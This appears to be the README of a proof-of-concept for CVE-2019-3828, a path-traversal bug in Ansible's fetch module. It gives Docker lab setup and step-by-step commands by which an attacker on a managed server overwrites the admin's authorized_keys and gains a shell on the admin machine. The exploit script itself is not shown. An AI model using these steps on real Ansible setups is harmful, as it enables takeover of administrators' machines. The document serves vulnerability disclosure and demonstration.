|
| 1 | +# Path traversal vulnerability in Ansible fetch module (CVE-2019-3828) |
| 2 | + |
| 3 | +This directory contains a proof-of-concept exploit for [CVE-2019-3828](https://access.redhat.com/security/cve/cve-2019-3828), a path-traversal vulnerability in Ansible's [fetch module](https://docs.ansible.com/ansible/latest/modules/fetch_module.html). The scenario for the demo is that there are two computers, named "server" and "zeuss". The former is a member of a server farm managed using Ansible. The latter machine belongs to a systems adminstrator who is responsible for managing the server farm. The system administrator's username is "bofh". Now imagine that an attacker has managed to infiltrate one of the server machines and is able to run arbitrary commands as the "bofh" user. But the attacker does not know bofh's password, so is not able to access other user accounts, or other computers, such as zeuss. |
| 4 | + |
| 5 | +Ansible's fetch module is used to copy files from the servers back to the system adminstrator's computer. In this demo, the system administrator is going to download `.ssh/authorized_keys` from the server to check that it hasn't been tampered with. But the attacker is going to exploit a path traversal vulnerability in the fetch module and overwrite the system administrator's own `.ssh/authorized_keys`. |
| 6 | + |
| 7 | +The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions. |
| 8 | + |
| 9 | +## Network setup |
| 10 | + |
| 11 | +Create a docker network bridge, to simulate a network with two separate computers. |
| 12 | + |
| 13 | +``` |
| 14 | +docker network create -d bridge --subnet 172.16.0.0/16 ansible-demo-network |
| 15 | +``` |
| 16 | + |
| 17 | +## Server setup |
| 18 | + |
| 19 | +Build the docker image: |
| 20 | + |
| 21 | +``` |
| 22 | +docker build ./server -t ansible-server |
| 23 | +``` |
| 24 | + |
| 25 | +Start the container: |
| 26 | + |
| 27 | +``` |
| 28 | +docker run --rm --network ansible-demo-network --ip=172.16.0.10 -h server -i -t ansible-server |
| 29 | +``` |
| 30 | + |
| 31 | +Inside the container, start `sshd` to enable remote access from zeuss. |
| 32 | + |
| 33 | +``` |
| 34 | +tmux # this step is optional: it enables you to open multiple terminals inside docker |
| 35 | +sudo service ssh start # sudo password is "x" (this is the only time that sudo is used) |
| 36 | +``` |
| 37 | + |
| 38 | +## Zeuss setup |
| 39 | + |
| 40 | +In a new terminal, build the docker image for zeuss. |
| 41 | + |
| 42 | +``` |
| 43 | +docker build ./zeuss -t ansible-zeuss |
| 44 | +``` |
| 45 | + |
| 46 | +Start the container: |
| 47 | + |
| 48 | +``` |
| 49 | +docker run --rm --network ansible-demo-network --ip=172.16.0.11 -h zeuss -i -t ansible-zeuss |
| 50 | +``` |
| 51 | + |
| 52 | +Inside the container: |
| 53 | + |
| 54 | +``` |
| 55 | +source ./ansible/hacking/env-setup # Add Ansible to the path |
| 56 | +tmux # this step is optional: it enables you to open multiple terminals inside docker |
| 57 | +sudo service ssh start # sudo password is "x" |
| 58 | +``` |
| 59 | + |
| 60 | +## Running the exploit |
| 61 | + |
| 62 | +First, let us see how the fetch module is *supposed* to work. On zeuss, run the following commands: |
| 63 | + |
| 64 | +``` |
| 65 | +cd /home/bofh/config |
| 66 | +ansible-playbook myfetch.yml |
| 67 | +``` |
| 68 | + |
| 69 | +This copies `authorized_keys` from the server to the following locatino on `zeuss`: |
| 70 | + |
| 71 | +``` |
| 72 | +/home/bofh/config/fetched/172.16.0.10/home/bofh/.ssh/authorized_keys |
| 73 | +``` |
| 74 | + |
| 75 | +Note that the file has been placed safely in a subdirectory of the current directory. |
| 76 | + |
| 77 | +Now let's enable the exploit on the server. Run the following commands on the server: |
| 78 | + |
| 79 | +``` |
| 80 | +ssh-keygen -t ed25519 -f /home/bofh/.ssh/id_ed25519 # Create a new ssh key |
| 81 | +cat /home/bofh/.ssh/id_ed25519.pub >> /home/bofh/.ssh/authorized_keys # Add new key to authorized_keys |
| 82 | +cd /home/bofh/scripts |
| 83 | +./enable_exploit.sh |
| 84 | +``` |
| 85 | + |
| 86 | +Now go back to zeuss and run the same fetch playbook as before: |
| 87 | + |
| 88 | +``` |
| 89 | +cd /home/bofh/config |
| 90 | +ansible-playbook myfetch.yml |
| 91 | +``` |
| 92 | + |
| 93 | +The `authorized_keys` file has now been overwritten. Which means that the attacker can ssh into zeuss. Run this command on the server: |
| 94 | + |
| 95 | +``` |
| 96 | +ssh 172.16.0.11 |
| 97 | +``` |
| 98 | + |
| 99 | +The attacker has a shell on zeuss! |
0 commit comments